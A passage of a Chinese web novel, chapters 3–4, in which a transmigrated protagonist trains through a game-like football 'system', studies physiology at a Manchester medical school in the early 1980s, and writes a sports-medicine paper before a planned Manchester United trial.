《[足球]都快退役了逆袭系统上线了》 3. 第 3 章 【请宿主选择训练年限】 【（1）8~10年[全阶段]（2）6~8年[第一~第三阶段]（3）4~5年[第一~第二阶段]】 顾沂摸着下巴等了一会儿，大屏幕上的字数仍然没有变化，顾沂眼皮子跳了一下，有些不可置信。 “不是，最低都需要4~5年吗？这合理吗？” “你要不要试着上传一下我的疑问呢？” 【宿主请不用担心，当你进入模拟训练空间系统后，现实世界的时间是静止的，请不要担心你会错过现实世界的精彩人生。】 顾沂：我他喵担心的是这个吗？ 顾沂深吸一口气换了一种说法，“你之前说，不会让我因为训练患上任何疾病，这个疾病也包括心理疾病对吗？那我能提前听一下你们的保障措施吗？” “这个应该可以告诉我吧？” 【请宿主不用担心，系统将在训练之余提供以下服务。】 【（1）零负担食物，轻松享受各类美食；（2）输入想看的电影、电视剧、小说、动漫，无需等待，存在即完结；（3）提供市面上所有游戏：破解版、氪金版；（4）专业心理专家实时监控、评估并进行人为干预；】 “哇哦~”顾沂感觉之前的自己还是太暴躁了，一点也不温柔，完全误会了这么好的系统。 “这很好啊。所以系统，现在是可以让我直接在这里看到2025年之后会出的电影、电视剧小说什么的是吧？” 【是的，宿主。】 顾沂脑海里立即浮现出自己等了好久一直都没拍完的系列电影，没写完的小说，没制作完的动漫…… “那可以啊，”顾沂抬手摁了摁自己的嘴角，不让它的弧度看起来太过明显，“那就选这个五年吧。” 【正在制定训练计划】 【你将在4~5年内完成第一阶段和第二阶段的训练计划。】 【请宿主选择关卡难度：（1）简单模式[5年60关]；（2）普通模式（4年48关）；（3）困难模式（3年36关）】 “这也要选？”顾沂纠结了一番，“选2吧。” 【正在生成训练关卡】 【关卡已生成】 【祝您训练愉快】 顾沂十分礼貌地点点头，“谢谢，希望会很愉快吧。” 在顾沂这句话还没说完时，机器人就消失在这方空间中。紧接着，一扇看着就很有科技感的门出现在原地。 顾沂上前一步，推开门走了进去，发现自己进入了一个四四方方的空间，四面墙壁、天花板和地板都是白色，哦不，还有蓝色……不对，这蓝色是光线而且还是冲着他来的。 【正在生成“身体数据清单”】 系统没有询问顾沂要不要查看这个清单，而是直接用数据糊了他一脸。 【总体评级：D-】 【体重：48.5kg（肌肉量不足，体型瘦弱。）】 【体脂率：8.5%（续航、冲击缓冲能力差）】 【核心肌群：力量评级:2/5（腹横肌、多裂肌激活不足）】 【臀大肌：激活度:30%（不会用臀发力）】 【腘绳肌/股四头肌比：0.45（严重失衡）】 【踝关节稳定性：左:差；右:极差；（韧带松弛）】 顾沂：…… 汤姆，你说实话，你是真心觉得自己跟马拉多纳没什么差别吗？ 蓝光消失，单调的白色房间也跟着消失，顾沂周围的环境变成了一条跑道。 顾沂的面前出现了一个跟他体型差不多大小的，好像是用光形成的人在前面演示动作并示意顾沂跟着他学。 【正在分析动作模式缺陷】 系统的机械音在顾沂耳边响起，顾沂上一秒刚跟着做完一个动作，下一秒系统的机械音就开始现场点评了。 【垂直起跳高度32cm，标准值：45~55cm。】 【30米冲刺4.8秒，标准值 【耐力测试：Level8，标准值Level16】 【变向能力测试得分55/100，敏捷性差，急停变向时膝关节控制差。】 【深蹲模式：膝关节内扣，脚踝活动度不足】 【弓箭步模式：骨盆倾斜，核心无力。】 【冲刺模式：后蹬腿伸展不充分，步幅小，摆臂协调性差。】 【落地模式：膝关节僵硬，无缓冲。】 顾沂十分无奈地捂住自己的脸，“系统，一定要这么大声的播报吗？” 【希望宿主知耻而后勇，再接再厉，成为一名合格的足球运动员。】 顾沂很想说他不羞耻，因为这严格意义上来说是汤姆的身体，他自己原来的身体……嗯……好像，应该要比汤姆更差劲…… 害，原来的顾沂，只要不挂吊瓶那就是身体健康了——他们公司的老板是这么说的。 顾沂虽然并不这么想，但也只能这么想。 【总体评分：59】 【训练正式开始】 【宿主将进入第一阶段的第一个环节：康复性训练（关卡1-7）】 正式开始训练后，顾沂发现之前系统还真的没有自吹自擂，确实挺轻松愉悦的。 一个关卡是一个月的时间，这七个月，顾沂训练五天休息两天，生活所需都免费，比他上班轻松多了。 训练内容也比较简单，系统说是针对他的薄弱环节进行大量的物理治疗级训练。 瑜伽、普拉提、泡沫轴放松、筋膜松解等等，每次运动的时候顾沂的视野范围内都能看见一个跟他一模一样的人在做着同样的运动，他随时都能知道自己的肌肉发力是否正确。 如果不正确，小人头上冒出的文字以及在耳畔响起的系统音就会提醒顾沂进行纠正。 唯一可能有点问题的是，之前系统说每通过一关都给他一个小礼物——礼物是真小，第一到第七关的小礼物都是马拉多纳的球星卡。 顾沂很想吐槽，但后面又忍住了：算了算了，都这样了还要什么自行车呢？ 【宿主将进入第一阶段的第二个环节：神经肌肉激活（关卡8-10）】 接下来这两个月，顾沂感觉也挺轻松，可能是身体被活动开了？ 总之，在这两个月里，顾沂进行了平衡训练、敏捷梯、低强度反应力训练。 据系统播报，他这是已经重建了大脑与肌肉的连接，让身体的协调性大大提升了。 【宿主将进入第一阶段的第三个环节：营养与恢复教育（关卡11-12）】 顾沂：艹！ 不是，系统，你看着我的眼睛，告诉我！为什么足球训练模式里面会有文化课啊！这正常吗？这合理吗？ 两个月的时间，整整两个月，顾沂都在阶梯教室里上课，没有同学，十个老师将他包围，学完这个学那个。 顾沂也没有两天的休假了，因为周六要考试。 等顾沂的营养学考试成绩满分后，该死的阶梯教室终于消失了！ 顾沂躺平在地上，感觉自己现在非常需要心理医生的干预。 【第一阶段结束】 【正在获取身体评分】 【总体评分：59→65】 【恭喜宿主，您的身体协调性大幅提升，您不再是一颗豆芽菜了。】 【恭喜宿主获得一份终极大奖！】 听到系统这么说，顾沂十分期待地搓了搓手：“是什么？是什么？” 【恭喜宿主获得球星基利安.姆巴佩的个人亲签！】 哦，姆巴佩啊，他知道，这人当时还挺火……等等！姆巴佩？！ “不是，系统，他现在出生了吗？1980年他还没有出生吧？你现在给我他的签名，我……你！”顾沂深吸一口气，“我现在要他的签名干什么？” “你这还不如继续给我马拉多纳的球星卡呢。” 【第二阶段开始，宿主即将进入基础力量与肌肉增长期（关卡13-48）】 【第二阶段为复合型关卡】 【第二阶段目标：增加肌肉量，提升绝对力量。】 第二阶段三十六关，单数关卡是抗阻力量训练：深蹲、硬拉、卧推。 训练强度一下子就上来了，但顾沂感觉还好，因为他现在数据化了，基本上每天都能看见自己的力量在增加，这种进步的感觉让顾沂很有动力。 双数关卡是基础代谢训练，大量的中等强度匀速跑、骑行、游泳等等——心肺功能的变化是最明显的，顾沂都不用看数据，单看自己在抗拒力量训练时每周增加的时间，就知道自己比之前进步了很多。 当然，这其中顾沂认为最重要的一个环节是系统的黑科技：蛋白质合成。 每次完成训练后，系统都会模拟最佳的激素环境，用上修复光波，让他的肌肉修复和生长速度达到理论上的人体极限。 【第二阶段结束】 【正在获取身体评分】 【总体评分：65→72】 【恭喜宿主，你已经拥有了一个职业联赛球员应该拥有的身体素质。】 顾沂低下头，看向自己现在的身体：肩膀变宽，胸膛变厚，肌肉线条格外明显。 “我有一个问题，”顾沂举手，“我现在已经完成了训练，所以当我离开系统空间后会直接变成这样吗？” 【宿主，抱歉，你所期待的事情不会发生。】 【根据系统推算，宿主需要在现实世界中真实地训练两年时间，总体评分上升到72后才能进入下一阶段的训练计划。】 【两年后，总体评分未能达到72，模拟训练空间系统将会被关闭，宿主的总体评分达到72后才会再次开启。】 【请宿主珍惜时间，努力训练。】 【是否现在退出模拟训练空间系统？】 顾沂表情明灭不定，垂下眼眸，“否。” “我要看附加模块，选……”顾沂想到他的苏珊娜阿姨是生理学副教授，“生理学。” 【正在加载附加模块】 【加载完毕】 【请宿主选择生理学学习模块】 【解剖学；生理学；生物化学；神经科学；】 “可以全选吗？” 【正在上传宿主请求】 【正在查询数据库】 【判定：可以】 “全选。” 【正在进入“生理学”(足球限定版)专项训练中】 系统话音落下，顾沂发现自己出现在了一个纯白色的、无限延伸的虚拟实验室。 在学习解剖学的时候，顾沂面前出现了一具高精度的全息人体解剖模型，顾沂手指点到哪里，哪里就会立即亮起具体信息，一个虚拟小人出现为顾沂声情并茂地进行讲解。 一个月后，顾沂理论知识低分飘过，他以为自己还要再学一遍呢，但系统认为他现在的知识储备已经足够了，开始给他进行专项训练：足球运动员损伤模块和发力链分析。 基础知识可以低分，但这两个专项训练拿到了满分后才让顾沂通过，才能学习下一项。 解剖学、生理学、生物化学、神经科学，顾沂挨个学，越学越焦虑：怎么这么难？他就背了这么点时间，又不是过目不忘，等失去系统，他的时间足够他学医吗？那他以后不就成了一个只会给病人开止痛药的医生? 【请注意！宿主请注意！】 【宿主心理压力过大！请注意休息！】 顾沂深吸一口气，抬手捂住眼睛，“退出。” 【正在退出】 【宿主，请在现实中积极训练，尽快提升自己成为一名合格的球员。】 顾沂微不可闻地嗯了一声。 …… …… 顾沂睁开眼睛，发现外面的天已经亮了。 下楼后，看着摆在餐桌上的早饭，顾沂的脑海里自动浮现出一行大字：不健康。 哦，是折磨了他两个月的营养学知识。 “汤姆，快点吃饭，一会儿带你去见苏珊娜阿姨。” “好。” 顾沂默默吃掉安妮做的早饭，跟着安妮去见了苏珊娜。 苏珊娜是一位非常严肃的女士，不苟言笑的脸在听到顾沂说自己也想学生理学后脸色更差了。 “为什么呢？”苏珊娜的眼睛直勾勾地盯着顾沂，“为什么会想学生理学？” “因为很感兴趣。” “好，那就来做一个简单的小测试吧。” 苏珊娜从书房里拿出了她刚出的考试卷，“既然很感兴趣，那你之前肯定了解过一些东西吧。” 安妮立即坐直了身体想说点什么，但被顾沂用眼神制止了。 “只要你能拿到D，我会亲自辅导你准备真正的考试。” 顾沂没有说话，只是平静地接过这份试卷，瞥了一眼题目后心下便立即松了口气：很好，这些题他都会！系统里的题比这难多了！ 顾沂拿起笔，下笔如有神。 这飞快做题的速度让苏珊娜皱起了眉头，她起身走到顾沂身边，准备阻止顾沂的胡闹，但只是瞥了一眼答案后整个人就僵在了那里。 顾沂写完最后一个字，正要说句“我写完了”，他手中的试卷就被苏珊娜抽走了。 苏珊娜从头看起，看完最后一个问题的答案后深吸一口气，抬头看向安妮，“安妮，这份试卷是我今天早上才出的题，他全部答对了！” 安妮的眼睛都快要瞪出眼眶了，“这，这……难道？汤姆他，他……” “是的！”苏珊娜用力点了下头，“如果在今天之前他从未接触过生理学，那他毫无疑问就是一个天才！一个真正的天才！” 安妮开心地语无伦次，“苏珊娜，你，你知道的。汤姆这孩子从小就喜欢足球，他将所有的空闲时间都花费在了足球上，他之前根本没有多余的时间去看这个，这个什么生理学。” “是的，是的！”苏珊娜点头，回头看向顾沂，“亲爱的汤姆，告诉阿姨，你什么时候看的书？” “我不是天才。”顾沂坦白相告，“我就是突击背了一下这些知识而已。” 是的，不管是在足球还是在医学上，他都不是什么天才。 两年时间在现实世界里将自己从59提升到72，顾沂真不觉得自己有这个本事，有这个自制力。 他要真有那个自制力，他干点啥不行啊？ 现实里可没有系统提醒，他训练的时候拿不准力道、角度，没训练出什么名堂反倒让自己受伤了怎么办？ 就因为没啥自信，所以顾沂才在那一刻选了全选，能蹭一点是一点。先考进医学院，之后会咋样那到时候再说吧。 两年时间一到，系统关闭，等系统精灵要真的回来了，他也能找补……应该能吧？ 顾沂陷入沉思，他现在有点拿不住该怎么做了，因为他好像怎么做都不对。 不过，这种迷茫、彷徨的情绪在第二天晚上他睡着后又进入了系统空间，自动进入训练系统再一次完成48个关卡后，就消失了。 顾沂：系统你这么玩你早说啊！你这天天给我来这一下，我这可太记忆犹新了！ 在顾沂练出肌肉记忆之前，他先拥有了精神记忆。 每天早上醒来之后，顾沂就开始进行第一阶段的康复性训练，刚开始的时候还必须全神贯注才能确保自己不出错，一个礼拜之后就已经能一边运动一边背苏珊娜给他的《生理学》资料。 三个月后，1981的1月，曼彻斯特理工学院医学院“突然宣布”扩招，十分罕见地开放了1月的入学名额。 顾沂凭着优秀的A-Level成绩，通过学校的紧急面试，成功抓住了这个名额，成为了春季入学的插班生。 顾沂表示，他完全是凭借运气和实力进的学校，跟苏珊娜阿姨拉着他在圣诞节的时候去见了院长，被院长当众考核获得满分评价没有任何关系。 开学后，顾沂的生活跟之前没啥区别，甚至在上了一段时间课后，顾沂就跟学院申请只参加实验课了。 在被好几个老师盯着答完了所有课程的试卷后，顾沂被允许只参加实验课。 而除了实验课之外，剩下的时间顾沂都用来进行神经肌肉激活训练了。 是的，顾沂承认，他之前的眼界还是太窄了，完全错怪了系统大人。 他不知道这两者之间到底有什么样的神秘联系，但原本用了一年时间来完成的第一阶段训练，顾沂在现实世界中只用了半年时间！ 而在接下来一年半的时间里，顾沂一路参加豁免考试，只上实验课，成为了所有人眼中的“足球疯子”。 一个医学上的天才却疯狂地热爱着足球，为了他那完全没有未来的足球天赋牺牲大量原本应该用在医学上的时间——这不是疯子是什么？ 汤姆要是把他用在那个该死的足球上的时间用在医学上，他早就能进入临床阶段了！ 顾沂很想直接跟大家说，我就是因为在足球上花费了大量的时间，所以我在生理学这方面才能一骑绝尘的。 可以说没有足球，就没有他的医学天赋。 所以别人嚷嚷的声音再大，顾沂也不为所动。 1982年11月，顾沂赶在时间截止前成功在现实世界中完成了第二阶段的训练。 他松了口气，在系统趁热打铁问他要不要进入第三和第三阶段的训练 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【第三阶段目标：将增长的力量转化为足球所需的爆发力、速度和对抗能力。】 第二阶段是分单双数，但是在第三阶段，顾沂每天都需要完成三项训练。 起初，顾沂并没有把这次的训练放在心上，心心念念的是在今晚开启“骨科学”和“康复医学”：他都已经成功通关第一和第二阶段了，区区第三、第四，还想难住他？ 开始训练前：轻轻松松拿下训练！ 开始训练后：太好了，我还活着。 之所以顾沂会有这种感受，是因为第三阶段的难度直接上升了好多个等级。 每天早上是爆发力训练，最简单最基础的训练是先当个举重选手，练习高翻、抓举，提高他全身的协同发力效率。 等后面顾沂适应了这个难度后就变成了跳箱、深跳和药球投掷，反复交叉来回不停的训练，目的是为了保证肌肉的弹性。 下午进行的极限速度与加速训练是最折磨人的，刚开始是在反重力跑台上反复练习冲刺，后面就是让他跟系统生成的短跑运动员比赛起跑速度。 为了激发顾沂的斗志，系统还特别贴心地把短跑运动员的样子设置成了博尔特。 顾沂：…… 就，不知道说什么才好。 反正等最后一天跑赢了“博尔特”，顾沂也没多开心，真的！ 至于第三个能量系统训练就更离谱了，它不是在上午，也不是在下午，而是在上午和下午两个训练的中间进行：高强度间歇训练，主打的就是一个模拟足球比赛中反复冲刺和休息的节奏。 【第三阶段结束】 【正在获取身体评分】 【总体评分：72→77】 顾沂短暂思考了几秒后撩起了自己的衣服，看了一眼现在清晰的腹肌，又思考了几秒，把衣服再往上拉，用手戳了一下自己的胸肌。 哇哦~真的弹回去了！这就是有弹性的真正含义吗？ 顾沂又戳了几下，突然感觉不太对劲连忙住手把衣服拉了下来：不是，我刚刚怎么像个变态？ 【第四阶段开始，宿主将进入第四阶段的第一个环节：抗干扰训练（关卡25-30）】 第四阶段刚一开始，顾沂就察觉到了这个阶段的不同：他出现在球场上了！ 终于，要来实战了吗？ 顾沂嘴角上扬，心下还挺期待的实战的：他搞基础练习搞了这么久，这不得上球场展示一下自己？ 嗯？怎么不是实战呢？ 抗干扰训练不是实战，而是让顾沂在重力增加了10%的环境下进行带球、传球和射门训练。 等顾沂适应了之后，重力增加到15%。 当顾沂适应了15%的重力环境再次做技术动作的时候，就会出现系统模拟的球员对他进行冲撞，顾沂需要在失去平衡的状态下护住足球并继续完成动作。 六关结束，顾沂脑瓜子嗡嗡的，整整休息了一个礼拜才进入第二个环节。 【宿主将进入第四阶段的第二个环节：疲劳状态下的决策训练（关卡31-36）】 这个环节顾沂一直很累，不是心累，是身体累。 因为在正式开始训练之前，顾沂需要先完成一组极限HIIT训练，一定要等到他的心率达到峰值时，立刻进行小范围的高强度传的接球训练。 “唉……”六关结束后，顾沂忍不住叹了一口气，“我在系统里练都这么累，那些没有挂就自己硬练的人……” 这怪不得大家都羡慕开挂的人呢，顾沂把自己代入一个普通球员想了想都要忍不住羡慕自己了。 虽然很累很累，但他的成长是实实在在的，他的进步是肉眼可见的。 他能看到自己的进步，他还能学完足球后再学医，那些死磕足球却完全看不到自己有没有进步的人呢？他们到底是怎么坚持下来的？ 是，信念，还是——热爱？ 【宿主将进入第四阶段的第三个环节：实战模拟（关卡37-48）】 “实战！”顾沂兴奋起来，“太好了，是实战！” 顾沂现在无比自信，感觉自己能一个打七个，但当他被系统生成的80年代英格兰后卫一拳打在鼻梁上后，顾沂愣住了。 不是，这系统出了Bug吗？ 【请宿主不要发呆，继续比赛。】 “系统，刚刚你生成的那个后卫他直接打我，这对吗？” 【宿主，这是80年代英国足球比赛中会出现的正常现象。】 【宿主，请继续比赛。】 接下来一整场比赛，顾沂不是直接直接被撞就是直接被冲着脚踝踹，更有那猥琐地直接上来拽他裤子！ 这他喵的真的是正经系统吗？啊？知道英国这个时候踢球踢得很糙，但你这也太他喵糙了吧！ 更让顾沂生气的是，当系统生成的球员给了他一拳，他直接反手揍回去的时候，球场上就突然跳出来一个主裁拿着哨子对着他十分用力地吹哨，而且还往他的脸上贴红牌——这场比赛又要重新开始！ 而且，这不是个关卡训练吗？他重新开始了这么多次，这个关卡到底什么时候结束？！ “系统，给点提示可以吗？” 系统没有吭声，顾沂没有办法只能自己琢磨：会不会，是让他跟着这些球员学点脏动作？ 顾沂悟了，并且学的飞快，甚至举一反三用小动作搞了对方后还能顺势躺下来碰瓷假摔让裁判对对面球员吹哨发牌。 最后，在第48关中，顾沂成功只拿到一张黄牌就命中两球，并让对方三名球员背上了黄牌。 【第四阶段结束】 【正在获取身体评分】 【总体评分：77→82】 【恭喜宿主成功完成所有阶段的训练，成为一名优秀的球员！】 【恭喜宿主获得终极大奖：马拉多纳的个人亲签！】 【请宿主在两年内在现实中完成第三阶段和第三阶段的训练，成为一名真正的优秀球员！】 【任务完成后，宿主将获得神秘大奖！】 顾沂已经不对系统口中的神秘大奖抱有什么期待了，等宿主话音落下就直接开口道：“开启附加模块，选择骨科学和康复医学。” 【正在加载附加模块】 【加载完毕】 …… …… 也是在这天晚上，在这平平无奇的一天晚上，在外人眼里的顾沂结束了一段时间的旅程后睡了一觉，醒来后就向医学院申请同时学习骨科学和康复医学。 “我在旅程路上看了相关的书，我对这两个学科很感兴趣。” 顾沂不想装逼的，但没办法，他只能这么说嘿嘿…… 咳咳！总之就是，在经过医学院的考察后，顾沂彻底地将自己“医学天才”这个名头坐实了，他“足球疯子”的名号也越传越远。 无他，只因为同时学了三门学科的顾沂，他竟然抽出了更多的时间用来训练足球！ 在1983年的圣诞节，苏珊娜向众人介绍了她最近正在写的一篇医学研究论文：《论足球这项野蛮运动的成瘾性》 “院长说，我的这篇论文很有研究价值，他准备让医学院的人都围绕这个主题写上几篇论文。” 众人纷纷看向顾沂，顾沂吹了声口哨，十分兴奋地向家人宣布了一个好消息。 “我已经练好了身体，等圣诞节过后就去曼联试训！” 理查德：？？？ 安妮：？？？ 苏珊娜：！！！ 杰瑞：我就知道！啧~ 4. 第 4 章 其实顾沂一个月前在现实中完成第三阶段的训练后，他本人是没打算去职业联赛试训的。 为什么不？因为他只要他去，那他就只能成为一个足球运动员，以后就更没有多余时间在现实中学医了。 不是他自吹自擂，他现在可是系统认定的优秀球员：足球训练系统亲自认证，相当权威~ 他现在要是去试训，那不都手拿把掐被主教练抱着大腿哭着喊着“求大大加入”吗？ “汤姆！”苏珊娜一把握住顾沂的手，泪眼婆娑，“去试训之后当了职业球员你还会回来吗？你还会回来继续学医吗？” “汤姆！汤姆你说句话啊汤姆！” 顾沂感觉自己现在应该叫“燕子”，在他幻想的主教练抱他大腿之前，他面对的首先是苏珊娜阿姨的眼泪。 “不用担心，苏珊娜阿姨。”杰瑞在一旁探出脑袋，“圣诞节前后是没有球队会试训球员的，他们要从节礼日踢到新年，最早也要等到明年一月份下旬他们才会闲下来，才会有心思试训新的球员。” 苏珊娜吸了吸鼻子，转头看向杰瑞，“杰瑞，你想说什么？就算是要再等一个月，汤姆他不还是要去试训吗？” “我的意思是，”杰瑞嘿嘿一笑，“苏珊娜阿姨你还有将近一个月的时间来劝汤姆放弃自己的足球梦……哈哈哈哈~真好笑，你们这些大人竟然以为自己只需要用几句话就可以说服一个为了梦想坚持了快二十年的人！” “二十年！”杰瑞蹭地一下站了起来，右手“啪啪啪”地拍打着桌子，“人的一生能有几个二十年？我们的梦想在你们看来就那么可笑吗！我们的坚持在你们眼里就那么没有意义吗！不，我不同意！” “汤姆！”杰瑞一脸大义凌然地看向顾沂，“我支持你追求自己的梦想！” 杰瑞说完这话就立即冲上二楼回到了自己的房间，随后立即将房门关上，用椅子顶住房门，完全不给理查德的“巴掌”发挥的机会。 杰瑞：挨打和挨骂我还是分得清的。 “抱歉，苏珊娜。”安妮满是歉意地看向苏珊娜，“杰瑞他……他前段时间嚷嚷着要辍学去参加什么乐队考核，说自己以后要成为下一个保罗.马克特尼。” 苏珊娜抬手摁了摁自己的太阳穴，看向安妮的眼神满是疼惜，“你这……辛苦你了。” 安妮笑着摇了摇头，“其实还好苏珊娜，而且汤姆的事情吧，我现在的想法已经变了。汤姆他，只是太爱足球了而已。” “我之前总是不喜欢他踢足球是因为他经常让自己受伤，但是现在，三年了他一直没有受过伤，我已经很满足了。” “他现在能踢球，在医学上也有些见地，以后就算是没有了我跟理查德也能生活的很好，所以我现在很放心他。” 苏珊娜听着安妮的这番话心一点点往下沉，她怀着最后的期待抬头看向理查德，却十分绝望的发现后者竟然也点了下头。 “他当年17岁，还只是一个孩子。我当时觉得他还不够成熟，他还没有办法在那个时候就为自己未来一辈子负责。”理查德扭头看向顾沂，轻轻点了下头，“但他现在20了，甚至再过几个月就21了，他可以为自己的人生负责了，我尊重他的任何选择。” 苏珊娜对此感到十分头疼，在她小的时候，她总是在抱怨自己的父母不够开明，不能理解她，不能支持她。 但现在，苏珊娜竟然迫切地想要让她面前的安妮和理查德成为不开明的，专制的父母，这样她就可以直接把汤姆薅到医学院关在里面一直学习了。 “好吧~”苏珊娜深吸一口气，“既然你们已经做了这个决定那我也支持你们。但是汤姆，你毕竟已经学了这么长时间的生理学，你的骨科学还有康复医学的成绩也很不错，你现在放弃是不是有点太可惜了？” 坐在一旁安静等待的顾沂终于能插上话了，他抬手指了一下自己，语气无奈：“苏珊娜阿姨，你说，有没有一种可能，其实从刚才到现在我只说了一句话，我从来没有说过我要放弃医学，医学也是我的梦想我为什么要放弃？” “恰恰相反，我去曼联试训也正是为了我的医学梦。” 苏珊娜抱着胳膊看着顾沂，那眼神格外明显：编，我就这么看着你，听听你要怎么编。 “从十一月到昨天，我除了出去踢了十几场南部联赛外，剩下大多数时间都待在房间里，不是在休息，而是在写一篇论文。” 第四阶段的训练需要跟对手配合，顾沂没有办法一个人完成训练，在结束第三阶段训练的第二天，顾沂就去了三年前被提起的绅士球队试训。 但怎么说呢？这西迪兹伯里业余队的球员是真他喵的绅士啊！把球一脚踢对方身上了还要跑过去说一声“sorry”，那你这**的还踢什么？ 顾沂都害怕自己放开了踢把这些人都送进医院，到时候顾沂反手穿上白大褂拿起手术刀，这些人不得连滚带爬地离开？ 离开西迪兹伯里后，顾沂又去了据说将足球踢得很野蛮的索尔福德工业联队，是当地工厂的工友自发组建的足球队。 也没有什么试训环节，顾沂直接过去找到领头的说他想要加入球队踢球，当时领头还在那里摇头呢，顾沂反手拿出一百英镑说要赞助一下就立即通关成为首发球员了。 无他，这个索尔福德工业联队可太穷了，他们甚至都没有更衣室，每次比赛开始前都只能在公园的长椅上换衣服。 顾沂去的那天有点接受不了就自己花钱带着队友们去了一家咖啡店，包了店里一下午的时间，当时就有好几个感情充沛的球员握住顾沂的手表示在球场上一定会多多帮助顾沂进球的。 比赛是在当地市政公园的公共球场踢的，草草坪什么的想都别想，能有几根草你就谢天谢地吧。 球场没有护栏，顾沂当天用劲过大一脚将球踢飞，所有人跑进树林里找了半天足球。 是的，现实实在是太惨淡了，但凡踢球踢得很野蛮的业余球队条件都不怎么样，大家也都没什么技术就全靠身体素质硬莽，踢上几年就得报废。 顾沂实在看不过眼就纠正了一下，结果就捅大篓子了——但凡听说了这个消息的球员都不敢跟顾沂在球场上拼命了，一见到顾沂就笑，等比赛结束后就凑过来想让顾沂也给他指点一下。 总之，顾沂离开的时候已经没有人喊他“汤姆”了，大家都叫他“TheDoc”。 是的，还特意给Docter给省略了一下，用来彰显一种亲切：大家都来瞧都来看啊，这位汤姆先生是我们的人~ 以上，顾沂在外面晃悠了一个多月的时间，第四阶段的训练进度都只推动了一点点，要是再待下去，他的医学梦可就要彻底破碎了。 所以，没什么好说的，那就直接去踢职业。 正好，顾沂也想要检验一下自己现在的实力，如果他踢职业联赛也感觉轻轻松松没有什么负担的话那就踢几年呗~ 毕竟，就单纯地作为一个爱好来说，足球还是挺有意思的。 但话又说回来了，鱼与熊掌不可得兼。他要是真的跑去踢职业联赛了，那曼彻斯特的医学院肯定不会再给他安排临床阶段，让他去大学附属教学医院的病房、门诊和手术室轮转了，他会被彻底排挤出圈。 可这让顾沂怎么能甘心呢？他要是一心只有足球，那为什么还要每天结束足球训练后给自己开附加模块，自己给自己上强度？他是吃饱了撑得？ 顾沂不甘心，他想两手都要抓，两手都要硬。 于是，顾沂就想到了“运动医学”这个概念，他用了好几天的时间查到在1981年，就在芬兰的坦佩雷已经建起了一座研究所。 没错，这个研究所就是后世运动医学的圣殿，著名的UKK步行测试就是他们开发并推广的。 因为研究所还没有正式建成，顾沂现在想要加入也没办法，所以顾沂决定先行一步：当然，他不是去破坏这个家的，他是准备加入这个家的。 UKK的目标是促进各年龄段公民的体育锻炼和健康，他们在研究并达到这个目的性的途中，创设性地将生理学、生物力学、心理学、社会学等诸多学科整合在了一起——这也就是说，UKK它研究并发展的是个大项目，而顾沂想要研究的足球运动医学是这个大项中的其中一个小项目。 如果他花了半个月……好吧，不止半个月，还有他晚上骚扰系统问系统问题，还拿系统中的道具给自己的论文做实验的每一年——好吧其实这些都不重要，重要的是，只要他的论文足够出色，说不定等研究所正式成立了，他会被邀请成为一名教授？ 而现在，将这份论文给苏珊娜看，就是顾沂人生当中一个新的起点。 想到这里，顾沂心情便不免有些激动和忐忑。他深呼吸迅速平复了一下心情，将早就准备好的论文从背包里拿出来递给了苏珊娜。 “论运动医学在足球中的实践和应用。”苏珊娜读出了顾沂递给她的论文上的名字，皱了一下眉头，“运动医学？” “事实上，其实在50年代，运动医学就已经开始萌芽了，不过那个时候基本上都是污名。” 苏珊娜秒懂：“兴奋剂？” “是的，虽然是不好的名声，但这也确实是人类历史上第一次尝试用医学的角度来试图让人体突破极限，在运动上取得突破性的成绩。”顾沂开口简单解释道：“1968年，国际奥委会在墨西哥城奥运会上首次引入了兴奋剂检测，这也是官方层面上的，第一次注意并介入到“运动医学与人体”的管理当中。” 苏珊娜哦了一声，“所以你的这篇论文是？” “运动医学不仅仅，也不应该只有兴奋剂。” “就只说足球，运动医学的意义就在于当其他球员在打封闭针、吃止痛药的时候，我已经通过更科学的办法来强化自己的身体来直接避免自己受伤。我以前踢球的时候经常受伤就是因为在运动中肌肉力量不平衡，柔韧性不足，受伤其实是动作代偿。” “但是自从我有了运动医学这个概念，我就再也没有受过伤了。” 顾沂抬手指了一下自己，“我，就是这份论文最大，最成功的那个试验品。” “苏珊娜阿姨，我去曼联试训不是为了踢球，而是为了做医学实践。我要用一场又一场的胜利告诉所有球员，我赢球，不是因为我厉害，而是因为运动医学厉害！” “我要让所有球员都知道，只要他们能懂运动医学，那他们就能将球踢得更好，他们的职业生涯就会更长，他们就能挣更多的钱！” 顾沂笑了起来，那眼神里透露出来的自信让苏珊娜下意识觉得顾沂说的话是那么的有道理！ “可他们不懂怎么办？没关系，苏珊娜阿姨，我懂啊，我们曼彻斯特医学院懂啊！” “运动医学是一片蓝海，身价一百万英镑的足球运动员想要延续他的职业生涯可不会吝啬自己的那点钱财。” 稍微停顿了一下，顾沂开口补充道：“当然，更准确一点来说是150万英镑。” 布莱恩.罗布森，曼联现任队长，1981从西布罗姆维奇转会到曼联，是现任主教练阿特金森的爱徒：阿特金森原先在西布朗执教，后面到了曼联就将罗布森带到了老特拉福德球场。 苏珊娜感觉眼前的顾沂整个人都散发着极其灿烂耀眼的光芒，“哦~汤姆！我的孩子，原来一直以来我都错怪你了！你不是什么足球疯子，你从始至终，都是一个真正热爱医学的人啊！” 顾沂：…… 这种激动人心的时候，就不要喊他花名了吧？ 苏珊娜带着顾沂的论文离开了，她十分激动，心里想着明天再去找院长，但一个小时后，苏珊娜还是出现在了院长家。 院长奥丽薇亚一见到苏珊娜就感觉自己的头开始痛了，“OMG~苏珊娜，你不要告诉我小汤姆他准备去踢职业联赛彻底放弃学医了？” “不！院长！”苏珊娜十分兴奋地一把抓住奥丽薇亚的手，“我想我们应该支持汤姆去试训，去成为一个职业球员！” 奥丽薇亚上下扫量了一眼苏珊娜，十分无奈：“他跟你说了什么？你怎么又被他忽悠了？” “不不不！”苏珊娜立即摇头，“这次汤姆可没有忽悠我，我带来了他写的论文。” 奥丽薇亚轻轻叹了口气，“好吧，跟我上楼吧苏珊娜，希望今年你的到来不会破坏我的好心情。” 来到书房后，奥丽薇亚戴上了自己的老花镜，翻开顾沂的论文正要查看就见苏珊娜站到了自己后面，看样子是要跟她一起看。 奥丽薇亚感觉自己的头又要开始疼了，“你看过这篇论文了吗？” 苏珊娜有些尴尬，她当时被顾沂说得热血沸腾的，压根没想起来看论文这事。 “我，嗯……我听汤姆跟我讲过一点。” 奥丽薇亚闭了闭眼睛，“好吧苏珊娜，希望你没有被骗。” “论运动医学在足球中的实践和应用？”奥丽薇亚挑了下眉头，“这看上去是个很新颖的选题。” 【作者：汤姆.阿利斯泰尔.沃森 所属单位：曼彻斯特大学医学院 日期：1983年12月20日 